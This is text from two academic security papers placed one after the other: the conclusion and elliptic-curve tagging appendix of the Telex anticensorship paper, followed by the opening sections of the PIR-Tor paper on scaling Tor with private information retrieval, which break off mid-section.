censorship resistance. By moving anticensorship service
from the edge of the network into the core network infras-
tructure, Telex has the potential to provide both greater
resistance to blocking and higher performance than ex-
isting approaches. We proposed a protocol for stegano-
graphically implementing Telex on top of TLS, and we
supported its feasibility with a proof-of-concept imple-
mentation. Scaling up to a production implementation
will require substantial engineering effort and close part-
nerships with ISPs, and we acknowledge that worldwide
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deployment seems unlikely without government partici-
pation. However, Internet access increasingly promises to
empower citizens of repressive governments like never be-
fore, and we expect censorship-resistant communication
to play a growing part in foreign policy.
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A Tagging Details

Our system uses an elliptic curve E defined over a field of
prime order p. We choose p to be 3 mod 4, so that −1 will
be a quadratic nonresidue mod p. (z is a quadratic residue
mod p if there exists an integer y such that y2 ≡ z mod p.
Otherwise, z is a quadratic nonresidue mod p. Half of
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the non-zero elements mod p are quadratic residues, and
half are nonresidues.) Let �p be the bit length of p, and
ensure that 2�p − p <

√
p. The curve E is defined by the

equation y2 = x3 −3x+b mod p for a particular value of
b.

For some values of x ∈ Fp, z = x3 − 3x+ b will be a

quadratic residue mod p; for those values, y = z
p+1

4 will
be a square root of z and (x,y) will be on the elliptic curve
E.

The other values of x will never occur as the x-
coordinate of a point on the elliptic curve E; however, for
those values of x, −z will be a quadratic residue, y = z

p+1
4

will be a square root of −z, and (x,y) will be a point on
the “twist” curve E ′ defined by −y2 = x3 − 3x+ b. We
choose a value of b such that both E and E ′ have prime
order over Fp. It is a fact about elliptic curves that the
orders o and o′ of E and E ′ will satisfy o = p+1− t and
o′ = p+1+ t, for some |t| ≤ 2

√
p.

Define a function φ : {0,1}�p × {0,1}�p → {0,1}�p ,
such that φ(r,x) is the point multiplication on the ellip-
tic curve (E or E ′) which contains a point X with x-
coordinate x. To compute φ(r,x), consider r and x as
integers expressed as little-endian strings. x will be the x-
coordinate of a point X = (x,y) on one of the curves. On
that curve, compute R = r ·X , and output the x-coordinate
of R, expressed as a little-endian string. If R is the point
at infinity (which happens if and only if r is a multiple of
the curve order), φ(r,x) is undefined. We note that this
is the same function (albeit over different curves) as was
used by Bernstein in Curve25519 [3].

The tagging protocol is as follows:

Setup Telex selects arbitrary generators of E and E ′

and publishes their x-coordinates as little-endian strings
g0 and g1. Since E and E ′ have prime order, any non-
identity element is a generator of those groups. Telex
selects a random private key r ∈ {0,1}�p , and publishes
α0 = φ(r,g0) and α1 = φ(r,g1). If either of those val-
ues is undefined because r is a multiple of either group
order (this happens with probability less than 22−�p), a
different value for r can be selected. Telex also pub-
lishes hash functions H1 : {0,1}∗ → {0,1}�H1 and H2 :
{0,1}∗ → {0,1}�H2 .

Client tag generation Given a context string χ , the
client selects a random s ∈ {0,1}�p and a random bit
b ∈ {0,1}. The client computes β = φ(s,gb) and k =
φ(s,αb). (The bit b selects whether the client will be us-
ing E or E ′.) In the extremely unlikely event (probability
approximately 21−�p) that s is a multiple of the group
order, φ(s,αb) will be undefined, and the client can select
a different s. The client publishes the tag β‖H1(k‖χ) and
stores the shared secret key H2(k‖χ) for later use. Again
viewing φ as point multiplication, we can see that the gen-
eration of the value k is just elliptic curve Diffie-Hellman;

we will exploit this fact in the security argument below.
Telex tag inspection Given a context string χ and a
purported (�p + �H1)-bit tag, the Telex station parses the
tag as β‖h where β is �p bits and h is �H1 bits. It computes
k′ = φ(r,β ) and h′ =H1(k′‖χ). If h= h′, the Telex station
accepts the tag as valid, and outputs H2(k′‖χ) as the
shared secret key for later use. Otherwise, it rejects the
tag as invalid.

A.1 Parameter selection

In our implementation, we use p = 2168 −28 −1 (and so
�p = 168). Using sage version 4.5.2 [26], we searched
for an appropriate value of b by randomly selecting can-
didate values of b until the orders of E and E ′ both
turned out to be prime. This search took only a few
minutes on an 8-core computer, and yielded the value b =
114301813541519167821195403070898020343878856329174. The
curve E has order p + 1 − t and the twist E ′ has
order p + 1 + t (both of which are prime) for t =
−25904187505858679946718103. g0 is the 168-bit
little-endian representation of the number 2, and g1 is
likewise of the number 0. The hash functions H1 and
H2 are both based on the SHA256 hash function; we se-
lect �H1 = 56 and �H2 = 128, and set H1 to be the first
56 bits of the SHA256 output, and H2 to be the last 128
bits of the SHA256 output. The resulting tag length is
�p + �H1 = 224 bits, which is the size of the random por-
tion of a TLS ClientHello message.

Choosing �p = 168 requires an adversary (under the
usual security assumptions for elliptic curves) to perform
284 computations in order to break the tagging scheme by
recovering the private key from the public key (and thus
violating the DDH assumption below). While we believe
this is sufficient, there are a number of methods we can use
to guard against even more powerful adversaries. The first
is that the key strength (2�p/2) can be traded off against
the rate of false positives (2−�H1 ) under the restriction that
�p + �H1 = 224. There are also other places [17] one can
hide random-looking bits in a TLS session, to increase
from the 224 bits we use to hide our tag. Next, we can
limit the utility of expending massive effort to recover
the Telex private key by having multiple keys that may
correspond to time, source, and/or destination. These
public keys could be bundled with the Telex client code.
Depending on the duration each public key is used, time-
based keys would have to be refetched periodically. As an
example, a system that switches public keys every hour
could bundle 1 million keys, enough to last for over 114
years, in only 42 MB of space.

A.2 Security argument

We must argue that an adversary, given g0, g1, α0, α1,
and a candidate tag τ , cannot determine whether τ was
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an output from the above client tag generation algorithm
or was just a (�p + �H1)-bit string generated uniformly at
random by a standard TLS client. Parsing τ as β‖h, we
claim that the distribution of β values is only negligibly
different from a uniform distribution of �p-bit values, and
also that, under reasonable cryptographic assumptions,
given β , an adversary cannot distinguish the correct value
of h that would appear in a valid tag from a random �H1 -bit
value.

To see the former, consider the distribution of possible
values of β = φ(s,g0) as s ranges over {0,1}�p . Treating
s as a number, this distribution is only negligibly differ-
ent from that resulting from the range 1 ≤ s < o, where
o is the order of E. The latter is the distribution of x-
coordinates of a uniformly selected (non-infinity) point of
E. Let L0 be the set of values x ∈ Fp such that x3 −3x+b
is a quadratic residue. Then every value in L0 appears as
the x-coordinate of two points of E, except possibly for
up to 3 points whose y-coordinates are 0, which appear
only once each. The previous distribution is then only
negligibly different from the uniform distribution on L0.
If L1 is the set of values x ∈ Fp such that x3 − 3x+ b is
a quadratic nonresidue, then the same argument shows
that the distribution of possible values of β = φ(s,g1)
is only negligibly different from a uniform distribution
on L1. The required distribution of β is then negligibly
different from the result of selecting a uniform element of
Lb where b is a uniform random bit. Since the sizes of L0
and L1 are negligibly different, and L0 and L1 are disjoint,
and the size of L0 ∪L1 is p, which is negligibly different
from 2�p (as we chose p to be only slightly smaller than a
power of 2), our result follows.

To see the latter, we require the Decision (Co-)Diffie-
Hellman (DDH and DCoDH) assumptions [4, 5]: that
no adversary, given the points P and rP, can distin-

guish the distributions {(Q,rQ)} and {(Q,r′Q)} with
non-negligible advantage, where P and Q are points on ei-
ther E or E ′ and r and r′ are selected uniformly at random
from their respective domains (or, as above, from [0,2�p)).
If P are Q are on the same curve, this is DDH; if one is
on E and one on E ′, this is DCoDH. We also need an
assumption on the properties of H1; namely, that for any
χ and any bit b, the distribution {H1(φ(s,αb)‖χ)} over
all s is indistinguishable from the uniform distribution on
�H1 -bit strings. (This is of course true if H1 is modelled
as a random oracle, but seems likely to be true for our
SHA256-based H1 as well.)

An adversary that can distinguish
{(φ(s,gb),H1(φ(s,αb)‖χ))} from {(φ(s,gb),$}
(where $ are uniform �H1 -bit values) can also
distinguish {(φ(s,gb),H1(φ(s,αb)‖χ))} from
{(φ(s,gb),H1(φ(s′,αb)‖χ))} by our assumption
on H1. He can then distinguish {(φ(s,gb),φ(s,αb))}
from {(φ(s,gb),φ(s′,αb))} by taking hashes, and
{(sGb,sAb)} from {(sGb,s′Ab)} by taking x-coordinates,
where Gb is the elliptic curve point with x-coordinate
gb and Ab is the elliptic curve point with x-coordinate
αb. Writing Q = sGb and r′ = s′s−1, and noting
that Ab = rGb, this is the same as distinguishing the
distributions {(Q,rQ)} and {(Q,r′Q)}, given Gb and
Ab = rGb, which is impossible by the DDH assumption.
Care must also be taken to ensure that the adversary’s
knowledge of (G1−b,A1−b) does not aid him, but this can
also be seen to be true by DCoDH.

In summary, under the DDH and DCoDH assumptions
on E and E ′ and a random-looking-output assumption
on H1, an adversary who does not know Telex’s private
key r cannot distinguish valid tags from uniformly gen-
erated (�p + �H1)-bit strings with more than a negligible
advantage.
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Abstract

Existing anonymous communication systems like Tor do
not scale well as they require all users to maintain up-to-
date information about all available Tor relays in the sys-
tem. Current proposals for scaling anonymous commu-
nication advocate a peer-to-peer (P2P) approach. While
the P2P paradigm scales to millions of nodes, it pro-
vides new opportunities to compromise anonymity. In
this paper, we step away from the P2P paradigm and ad-
vocate a client-server approach to scalable anonymity.
We propose PIR-Tor, an architecture for the Tor net-
work in which users obtain information about only a few
onion routers using private information retrieval tech-
niques. Obtaining information about only a few onion
routers is the key to the scalability of our approach, while
the use of private retrieval information techniques helps
preserve client anonymity. The security of our architec-
ture depends on the security of PIR schemes which are
well understood and relatively easy to analyze, as op-
posed to peer-to-peer designs that require analyzing ex-
tremely complex and dynamic systems. In particular, we
demonstrate that reasonable parameters of our architec-
ture provide equivalent security to that of the Tor net-
work. Moreover, our experimental results show that the
overhead of PIR-Tor is manageable even when the Tor
network scales by two orders of magnitude.

1 Introduction

As more of our daily activities shift online, the issue of
user privacy comes to the forefront. Anonymous com-
munication is a privacy enhancing technology that en-
ables a user to communicate with a recipient without re-
vealing her identity (IP address) to the recipient or a third
party (for example, Internet routers). Tor [10] is a de-
ployed network for anonymous communication, which

∗An extended version of this paper is available [26].

consists of about 2 000 relays and currently serves hun-
dreds of thousands of users a day [45]. Tor is widely used
by whistleblowers, journalists, businesses, law enforce-
ment and government organizations, and regular citizens
concerned about their privacy [46].

Tor requires each user to maintain up-to-date infor-
mation about all available relays in the network (global
view). As the number of relays and clients increases,
the cost of maintaining this global view becomes pro-
hibitively expensive. In fact, McLachlan et al. [22]
showed that in the near future the Tor network could be
spending more bandwidth for maintaining a global view
of the system than for anonymous communication itself.
Existing approaches to improving Tor’s scalability ad-
vocate a peer-to-peer approach. While the peer-to-peer
paradigm scales to millions of relays, it also provides
new opportunities for attack. The complexity of the de-
signs makes it difficult for the authors to provide rigorous
proofs of security. The result is that the security commu-
nity has been very successful at breaking the state-of-art
peer-to-peer anonymity designs [4, 6, 7, 23, 47, 48].

In this paper, we step away from the peer-to-peer
paradigm and propose PIR-Tor, a scalable client-server
approach to anonymous communication. The key obser-
vation motivating our architecture is that clients require
information about only a few relays (3 in the current
Tor network) to build a circuit for anonymous commu-
nication. Currently, clients download the entire database
of relays to protect their anonymity from compromised
directory servers. In our proposal, on the other hand,
clients use private information retrieval (PIR) techniques
to download information about only a few relays. PIR
prevents untrusted directory servers from learning any
information about the clients’ choices of relays, and thus
mitigates route fingerprinting attacks [6, 7].

We consider two architectures for PIR-Tor, based on
the use of computational PIR and information-theoretic
PIR, and evaluate their performance and security. We
find that for the creation of a single circuit, the archi-
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tecture based on computational PIR provides an order
of magnitude improvement over a full download of all
descriptors, while the information-theoretic architecture
provides two orders of magnitude improvement over a
full download. However, in the scenario where clients
wish to build multiple circuits, several PIR queries must
be performed and the communication overhead of the
computational PIR architecture quickly approaches that
of a full download. In this case, we propose to perform
only a few PIR queries and reuse their results for cre-
ating multiple circuits, and discuss the security implica-
tions of the same. On the other hand, for the information-
theoretic architecture, we find that even with multiple cir-
cuits, the communication overhead is at least an order of
magnitude smaller than a full download. It is therefore
feasible for clients to perform a PIR query for each de-
sired circuit. In particular, we show that, subject to cer-
tain constraints, this results in security equivalent to the
current Tor network. With our improvements, the Tor
network can easily sustain a 10-fold increase in both re-
lays and clients. PIR-Tor also enables a scenario where
all clients convert to middle-only relays, improving the
security and the performance of the Tor network [9].

The remainder of this paper is organized as follows.
We discuss related work in Section 2. We present a brief
overview of Tor and private information retrieval in Sec-
tion 3. In Section 4, we give an overview of our system
architecture, and present the full protocol in Section 5.
We discuss the traffic analysis implications of our archi-
tecture in Section 6. Sections 7 and 8 contain our perfor-
mance evaluation for the computational and information-
theoretic PIR proposals respectively. We discuss the
ramifications of our design in Section 9, and finally con-
clude in Section 10.

2 Related Work

In contrast to our client-server approach, prior work
mostly advocates a peer-to-peer approach for scalable
anonymous communication. We can categorize existing
work on peer-to-peer anonymity into architectures that
are based on random walks on unstructured or structured
topologies, and architectures that use a lookup operation
in a distributed hash table.

Besides these peer-to-peer approaches Mittal et
al. [25] briefly considered the idea of using PIR queries
to scale anonymous communication. However, their de-
scription was not complete, and their evaluation was very
preliminary. In this paper, we build upon their work and
present a complete system architecture based on PIR.
In contrast to prior work, we also consider the use of
information-theoretic PIR, and show that it outperforms
computational PIR based Tor architecture in many scal-
ing scenarios. We also provide an analysis of the im-

plications of clients not having the global system view,
and show that reasonable parameters of PIR-Tor provide
equivalent security to Tor.

2.1 Distributed hash table based architec-
tures

Distributed hash tables (DHTs), also known as struc-
tured peer-to-peer topologies, assign neighbor relation-
ships using a pseudorandom but deterministic mathemat-
ical formula based on IP addresses or public keys of
nodes.

Salsa [29] is built on top of a DHT, and uses a spe-
cially designed secure lookup operation to select random
relays in the network. The secure lookups use redundant
checks to mitigate attacks that try to bias the result of the
lookup. However, Mittal and Borisov [23] showed that
Salsa is vulnerable to information leak attacks: as the at-
tackers can observe a large fraction of the lookups in the
system, a node’s selection of relays is no longer anony-
mous and this observation can be used to compromise
user anonymity [6,7]. Salsa is also vulnerable to a selec-
tive denial-of-service attack, where nodes break circuits
that they cannot compromise [4, 47].

Panchenko et al. proposed NISAN [35] in which
information-leak attacks are mitigated by a secure iter-
ative lookup operation with built-in anonymity. The se-
cure lookup operation uses redundancy to mitigate active
attacks, but hides the identity of the lookup destination
from the intermediate nodes by downloading the entire
routing table of the intermediate nodes and processing
the lookup operation locally. However, Wang et al. [48]
were able to drastically reduce the lookup anonymity by
taking into account the structure of the topology and the
deterministic nature of the paths traversed by the lookup
mechanism.

Torsk, introduced by McLachlan et al. [22], uses secret
buddy nodes to mitigate information leak attacks. Instead
of performing a lookup operation themselves, nodes can
instruct their secret buddy nodes to perform the lookup
on their behalf. Thus, even if the lookup process is not
anonymous, the adversary will not be able to link the
node with the lookup destination (since the relationship
between a node and its buddy is a secret). However, the
aforementioned work of Wang et al. [48] also showed
some vulnerabilities in the mechanism for obtaining se-
cret buddy nodes.

2.2 Random walk based architectures
In MorphMix [38] the scalability problem in Tor is al-
leviated by organizing relays in an unstructured peer-to-
peer overlay, where each relay has knowledge of only a
few other relays in the system. For building circuits, an
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initiator performs a random walk by first selecting a ran-
dom neighbor and building an onion routing circuit to
it. The initiator can then query the neighbor for its list
of neighbors, select a random peer, and then extend the
onion routing circuit to it. This process can be iterated a
number of times to build a random walk of any desired
length.

MorphMix is vulnerable to a route capture attack,
where a malicious relay returns a list of only other col-
luding nodes during a random walk. This attack ensures
that once the random walk hits a compromised relay, all
subsequent relays in the random walk are also compro-
mised. In particular, when the first relay in the random
walk is compromised, user anonymity is trivially broken.
While MorphMix proposed a collusion detection mech-
anism to mitigate the route capture attack, it was later
shown that the mechanism can be broken by a collud-
ing set of attackers that models the internal state of each
relay [44].

ShadowWalker [24] also uses a random walk to locate
relays, but instead of organizing relays into an unstruc-
tured overlay, it uses a distributed hash table. Neighbor
relationships in the DHT are deterministic, and can be
verified by the initiator to mitigate route capture attacks.
To prevent any information leakage during verification of
neighbor information, some redundancy is incorporated
into the topology itself. Recently, Schuchard et al. [39]
analyzed an attack on ShadowWalker, and also studied a
fix for the attack.

We note that all of the peer-to-peer designs provide
only heuristic security, and the security community has
been very successful at breaking the state-of-art designs.
This is partly because of the complexity of the designs,
which make it difficult for the system designers to rigor-
ously analyze the security of the system. We also note
that all secure peer-to-peer systems are built on top of
assumptions that are difficult to realize in practice. For
example, security of these designs depends on the frac-
tion of compromised relays in the system being less than
20–25%. Modern botnets can comprise of tens to hun-
dreds of thousands of bots [19], which is likely sufficient
to overwhelm the security of the system. In PIR-Tor, we
target a design where it is feasible to rigorously argue
about the anonymity properties of the design, and where
the ability to obtain random relays both securely and
anonymously does not depend on the fraction of com-
promised relays in the system.

3 Background

3.1 Tor
Tor [10] is a deployed network for low-latency anony-
mous communication. Tor serves hundreds of thousands

of clients, and carries terabytes of traffic per day [45].
The network is comprised of approximately 2 000 relays
as of February 2011 [20]. Tor clients first download a
complete list of relays (called the network consensus)
from directory servers, and then further download de-
tailed information about each of the relays (called the
relay descriptors). The network consensus is signed by
trusted directory authorities to prevent directory servers
from manipulating its contents. Clients select three re-
lays to build circuits for anonymous communication. A
fresh network consensus must be downloaded at least as
often as every 3 hours, while fresh relay descriptors are
downloaded every 18 hours.

To protect against certain long-term attacks [33] on
anonymous communication, each client, when it starts
Tor for the first time, selects a set of three guard re-
lays from among fast and stable nodes. As long as the
selected guards remain available, new ones will not be
chosen. The first relay in any circuit constructed by the
client will be one of its three guards. Also, clients select
the final relay from the subset of the Tor relays which
allow traffic to exit to the Internet, called the exit relays;
each exit relay has an exit policy, which lists the ports
to which the relay is willing to forward traffic, and the
client’s choice of exit relay must of course be compatible
with its intended use of the circuit. Any relay is eligible
to be the middle relay of a circuit. Clients can multiplex
multiple TCP connections (called streams) over a single
Tor circuit; the lifetime of a circuit is generally 10 min-
utes. Finally, Tor relays have heterogeneous bandwidths,
and subject to the above constraints, clients select a Tor
relay with a probability that is proportional to a relay’s
bandwidth.1

3.2 PIR
Private information retrieval [5] provides a means of re-
trieving a block of data out of a database of r blocks,
without the database server learning any information
about which block was retrieved. A trivial solution to
the PIR problem — the one used currently by Tor —
is to transfer the entire database from the server to the
client, and then retrieve the block of interest from the
downloaded database. Although the trivial solution of-
fers perfect privacy protection, the communication over-
head is impractical for large databases or for a system
like Tor where minimizing bandwidth usage remains a
high priority. PIR schemes are therefore designed to pro-
vide sublinear communication complexity.

We can classify PIR schemes in terms of their pri-
vacy guarantees and the number of servers required for

1Since not all relays are eligible for every position, some additional
load-balancing logic is used to underweight relays eligible to be guards
or exits when choosing middle relays.
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the protection they provide. Information-theoretic PIR
schemes (ITPIR) are multi-server schemes that guaran-
tee query privacy irrespective of the computational capa-
bilities of the servers answering the user’s query. ITPIR
schemes assume the database servers are not colluding
to determine the user’s query. Single-server computa-
tional PIR schemes (CPIR), on the other hand, assume
a computationally limited database server that is unable
to break a hard computational problem, such as the dif-
ficulty of factoring large integers. The noncollusion re-
quirement is then removed, at some cost to efficiency.

We choose the single-server lattice-based scheme by
Aguilar-Melchor et al. [1] as an example of CPIR, and
the multi-server scheme by Goldberg [12] as an exam-
ple of ITPIR. The CPIR scheme is the best-performing
single-server scheme [32], and both are available as
open-source libraries.

4 System Overview

4.1 Design goals

1. Scalable architecture: We target a design for anony-
mous communication that is able to scale the number of
relays and clients in the network. We note that a design
that is able to accommodate more relays in the network
not only improves the network performance, but also im-
proves user anonymity [9].
2. Security: Prior work on scalable anonymous com-

munication only provides heuristic security guarantees,
and the security community has been very successful at
breaking the state-of-art designs. We target a design that
leverages well-understood security mechanisms making
it relatively easy to analyze the security of the system.
Secondly, we aim to achieve similar security properties
as in the existing Tor network. We show that reasonable
parameters of PIR-Tor are able to provide equivalent se-
curity to the Tor network.
3. Efficient circuit creation: Architectures that im-

pose additional latency during circuit creation may not
be practical, since the user needs to wait for the circuit
creation to finish before starting anonymous communi-
cation.
4. Minimal changes: We target a design that requires

minimal changes to the existing Tor architecture. For in-
stance, transitioning Tor to a peer-to-peer system will re-
quire a significant engineering effort. Our design lever-
ages existing implementations and requires changes to
only the directory functionality and relay selection mech-
anism in Tor and can be incrementally deployed by both
clients and relays.
5. Preserving Tor constraints: The Tor network im-

poses several constraints on the selection of relays during

circuit construction. For example, the first relay must be
one of the user’s guards, the final relay must allow traffic
to exit to a user’s desired port, and the relays must be se-
lected in proportion to their bandwidth for load balancing
the network. Some prior work like ShadowWalker [24]
and Salsa [29] did not focus on these issues.

Limitations: Our architecture achieves its scalabil-
ity properties by trading off bandwidth for computation;
thus directory servers will be required to spend additional
computational resources. In our performance evaluation
we show that the computational resources required to
support our architecture are feasible.

4.2 System architecture

Our key insight when designing PIR-Tor is that the
client-server model in Tor can be preserved while si-
multaneously improving its scalability by having users
download the descriptors of only a few relays in the
system, as opposed to downloading the global view.
However, naively doing so can enable malicious direc-
tory servers to launch fingerprinting attacks against the
users, thereby compromising anonymity. We propose
that users leverage private information retrieval proto-
cols to download the identities of a few relays, thereby
protecting their privacy against compromised directory
servers. Note that a client does not need to use a PIR
protocol to select its guard relays; a full download of the
network consensus and relay descriptors suffices, since
guard relay selection is a one-time operation that does
not affect the scalability of the protocol.

Recall that private information retrieval has two fla-
vors: computational PIR and information-theoretic PIR.
While both CPIR and ITPIR can be used by clients, the
underlying techniques have different threat models, re-
sulting in slightly different architectures, as depicted in
Figure 1.

Computational PIR at directory servers: Computa-
tional PIR can guarantee user privacy even when there
is a single untrusted database. In this scenario, we pro-
pose that as in the current Tor architecture, any relay can
act as a directory server. The directory servers maintain
a global view of the system, and act as a PIR database.
Clients can then use a CPIR protocol to query the direc-
tory servers and obtain the identities of random relays in
the system.

Information-theoretic PIR at directory authorities
(rejected): Information-theoretic PIR can guarantee
user privacy only when a threshold number of databases
do not collude. Since directory servers in the current
Tor network are untrusted, they cannot be used as PIR
databases. However, Tor has eight directory authorities
sign the global system view (the network consensus).
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(b) ITPIR-based architecture

Figure 1: System Architecture: For the CPIR architecture, an arbitrary set of relays are selected as the directory
servers (PIR servers) that maintain a current copy of the PIR database, while for the ITPIR architecture, guard relays
are the directory servers. Directory servers download the PIR database from trusted directory authorities. To perform
a PIR query, clients first obtain meta-information about the PIR database from the directory servers, and then use the
meta-information to select the index of the PIR block to query, taking into consideration the bandwidths and the exit
policies of the relays. Relay information from the results of the PIR queries can be used to build circuits for anonymous
communication. Note that in the ITPIR architecture, clients use PIR to query for only the exit relays.

Since Tor already trusts that the majority of directory
authorities are honest, one potential solution could have
been to use the directory authorities as PIR databases.
However, we reject this approach since the directory au-
thorities would become performance bottlenecks in the
system, in addition to targets for DDoS attacks.

Information-theoretic PIR at guard relays: Instead,
we note that Tor already places significant trust in guard
nodes. If all of a client’s guard relays are compromised,
then they can perform end-to-end timing analysis [2] in
conjunction with selective denial of service attacks [4] to
break user anonymity in the current Tor network. Thus
we consider using a client’s three guard nodes as the
servers for ITPIR. Unless all three guard nodes are com-
promised they cannot learn the identities of the relays
downloaded by the clients. Even if all three guard relays
are compromised, they cannot actively manipulate ele-
ments in the PIR database since they are signed by the
directory authorities; they can only learn which exit re-
lay descriptors were downloaded by the clients. (In Tor,
guards always know the identities of the middle nodes in
circuits through them.) If the exit relay in a circuit is hon-
est, then guard relays cannot break user anonymity. On
the other hand, if the exit relay used is malicious, then
user anonymity is broken [6], but in this scenario, the ad-
versary could have performed end-to-end timing analysis
anyway [2] (in the current Tor network).

5 PIR-Tor Protocol Details

5.1 Database organization and formatting

We first note that Tor relays are selected based on some
constraints. For instance, the first relay must be an en-
try guard, and the last relay must be an exit relay. We
propose to organize the list of relays into three separate
databases, corresponding to guard nodes, middle nodes
and exit nodes. Note that some relays function as entry
guards as well as exit relays — such relays are duplicated
in both the guard database and the exit database.

In addition to the last relay being an exit, its exit pol-
icy must satisfy the client application requirements. In
a February 2011 snapshot of the current Tor network,
there were 471 standard exits (default exit policy) and
482 non-standard exits sharing 221 policies. Had the
number of non-standard exits been small, then clients in
PIR-Tor could download all the relay descriptors for the
non-standard exits, and use PIR to select descriptors for
the standard exits. However, this is not the case. Instead,
we propose that nodes in the exit database be grouped
by their exit policies. Furthermore, in order to keep the
number of groups manageable, we propose that there be
a small set of standard exit policies that exit relays can
choose from. Our architecture can accommodate a small
set of relays with non-standard exit policies, and these
outliers can be downloaded in their entirety as above.

Tor relays have heterogeneous bandwidth capabilities,
and relays with higher capacities are selected with a
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higher probability in order to load balance the network.
Bandwidth-weighted selection is straightforward given a
global view of the network. We now outline two strate-
gies to enable clients to perform weighted relay selection
without this global view. The first strategy implements
the Snader-Borisov [41, 42] criterion for relay selection,
where only the relative rank of the relays in terms of their
bandwidths is used for relay selection.2 The second strat-
egy is more similar to the current Tor algorithm, where
the entire bandwidth distribution of relays is taken into
consideration for relay selection. In both scenarios, we
first sort relays in each of the databases in order of band-
width. Clients can use the Snader-Borisov mechanism
by choosing the relay index to query with probability that
depends on the index value. For example, if the relays are
sorted in descending order of bandwidth, then clients can
select relays having a smaller index with higher probabil-
ity. To implement an algorithm similar to the current Tor
network, we propose that clients download a bandwidth
distribution synopsis from the directory servers, and use
it to make the relay selection. Finally, we note that the
exit database is treated as a special case since relays are
first grouped based on their exit policies, and within each
group, relays are further sorted by bandwidth. This en-
ables a client to select an exit relay whose exit policy
satisfies its application requirements in a load-balanced
manner.

The PIR protocols we consider are block-based: the
database is composed of a number of equal-sized blocks.
The block size must be large enough to hold at least a sin-
gle relay descriptor, but may hold more. We must also
ensure that relay descriptors do not cross block bound-
aries by padding the database. To guard against active
attacks by directory servers, each block is signed by the
directory authorities; the data signed also includes the
block number (index), the consensus timestamp and a
database identifier. To minimize overhead, we use the
threshold BLS signature scheme [3] since signatures in
that scheme are single group elements (22 bytes, for ex-
ample, for 80-bit security), regardless of the number of
directory authorities issuing signatures.

5.2 PIR Protocols and database locations
5.2.1 Computational PIR

Computational PIR protocols can guarantee privacy of
user queries even with a single untrusted relay acting as
a PIR database. Thus, we can designate an arbitrary set
of relays in the network as directory servers, and only

2The use of the Snader-Borisov criterion may have an impact on
the performance of the Tor network. Murdoch and Watson’s queueing
model [28] suggests that it will cause greater congestion at Tor relays,
whereas Snader and Borisov’s flow-level simulations [42] predict sim-
ilar or even improved network utilization.

the directory servers need to maintain a global view of
all the relays, i.e., a current copy of the network con-
sensus formatted as above. Then, instead of download-
ing the entire consensus document from the directory
server, clients connecting to these directory servers use
a computational PIR protocol to retrieve a block of their
choice, without revealing any information about which
block, to the directory server. While our architecture is
compatible with all existing CPIR protocols, we use the
lattice-based scheme proposed by Agular-Melchor and
Gaborit [1] since it is the computationally fastest scheme
available. Note that the lattice-based CPIR protocol is a
single-server protocol, and does not require any interac-
tion with other directory servers.

5.2.2 Information-Theoretic PIR

Information-theoretic PIR protocols guarantee privacy of
user queries only if a threshold number of PIR databases
do not collude. As stated above, we use a client’s three
guard relays as ITPIR directory servers. The parameters
of the protocol are set such that the guard relays do not
learn any information about the client’s block unless all
three of them collude.

5.3 Client query protocol and meta-
information exchange

To query for a middle and exit relay, a client connects
to one of its directory (PIR) servers, which responds
back with the meta-information about each of the PIR
databases, such as the number of blocks in the database,
the block size, the distribution of exit policies, and a
bandwidth distribution synopsis. Note that the meta-
information is also timestamped and signed by the di-
rectory authorities. Based on this information, clients
can construct a PIR query to select Tor relays while sat-
isfying the constraints of the user. Clients can perform
load balancing based on the Snader-Borisov mechanism
by selecting an index to query with a probability that de-
pends on the index value. For greater flexibility, clients
can perform load balancing in a manner similar to the
current Tor architecture by using the bandwidth distribu-
tion synopsis to select an index to query. The PIR queries
are performed by the clients well in advance of construct-
ing the circuit, so as not to impose extra latency during
circuit construction. Note that clients may not be able to
predict the exit policies required by circuits in advance.
To bypass this constraint, recall that the relays in the exit
database are grouped based on a small set of standard
exit policies, and clients can perform a few PIR queries
to obtain exit relays that satisfy all standard exit poli-
cies. Finally, clients can periodically download the relay
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descriptors of the small set of exit relays that have non-
standard exit policies (every 3 hours).

Next, we propose an optimization that clients can per-
form while using guard relays as directory servers in the
case of information-theoretic PIR. We note that during
circuit creation, a guard relay learns the identity of the
middle relay. Thus the clients could simply skip the
PIR for the middle database, and directly query a single
guard relay for a particular block. Note that all blocks are
signed by the directory authorities, and any active attacks
by the guard relay will be detected by the client. Also
note that the fetched descriptors should only be used in
conjunction with the guard relay from which they were
obtained; otherwise, even a single compromised guard
would be able to perform fingerprinting attacks [6].

5.4 Circuit Construction
The circuit creation mechanism remains the same as in
the current Tor network. In the current Tor network,
clients construct a new circuit every 10 minutes. As we
show in Section 8, in the ITPIR scenario, the cost of all
Tor clients performing one PIR query (since the middle
relay is fetched without using PIR) every 10 minutes is
manageable. In the CPIR setting, the communication
overhead of all Tor clients performing two PIR queries
in a 10-minute interval is rather high, and we propose to
perform fewer PIR queries, and reuse descriptors in sub-
sequent time intervals. We discuss this further in Sec-
tion 7.

6 Traffic Analysis Resistance of PIR-Tor

In this section we evaluate the resistance to traffic anal-
ysis of PIR-Tor. We consider an adversary that can ob-
serve some fraction of the network and has the ability to
generate, modify, delete, or delay traffic. She can com-
promise a fraction of the relays, or introduce relays of
her own. Further, we consider that the adversary can ob-
serve clients’ requests to the PIR-Tor directory servers,
and knows that in these requests the client only learns
about a fraction of the relays in the network.

As pointed out in the past [6,7], clients’ partial knowl-
edge of the relays belonging to the anonymity network
enables route fingerprinting attacks. In these papers it is
assumed that relay discovery is a non-anonymous pro-
cess. Hence, an adversary observing the discovery pro-
cess can build a mapping between users and the relays
they know. If clients learn unique (disjoint) sets of relays,
their paths can be “fingerprinted”, and the client’s iden-
tity can be trivially recovered from this mapping. This
problem does not exist in the current Tor, where query-
ing the directories provides clients with a global view of
the network.

In PIR-Tor the threat model slightly differs from the
one in [6, 7]. Directory queries continue being identifi-
able, but PIR prevents the adversary from learning which
exact relays were retrieved from the database, avoiding
the creation of a mapping describing users’ knowledge.
Therefore, when route fingerprinting is performed the at-
tack does not result in a direct loss of anonymity. Even
if the choice of relays appearing in the fingerprint were
unique, the adversary does not have a way to link this
fingerprint to a specific client. In fact, the only way for
the attacker to link the client with the destination of her
traffic is to control the first and last relays in the path
and perform a traffic confirmation attack [37], which in
our system will happen with probability c2, where c is
the fraction of compromised bandwidth in the network
— the same probability as in the current Tor network.

Although route fingerprinting does not result in a di-
rect loss of anonymity in PIR-Tor, the information leaked
could be used by the adversary to relate connections from
the same user and construct behavioral profiles. In turn,
these profiles can lead to the re-identification of users
directly [16] or by combining them with publicly avail-
able databases [14, 30, 43]. We note that the linkabil-
ity of circuits is not a problem unique to PIR-Tor, and
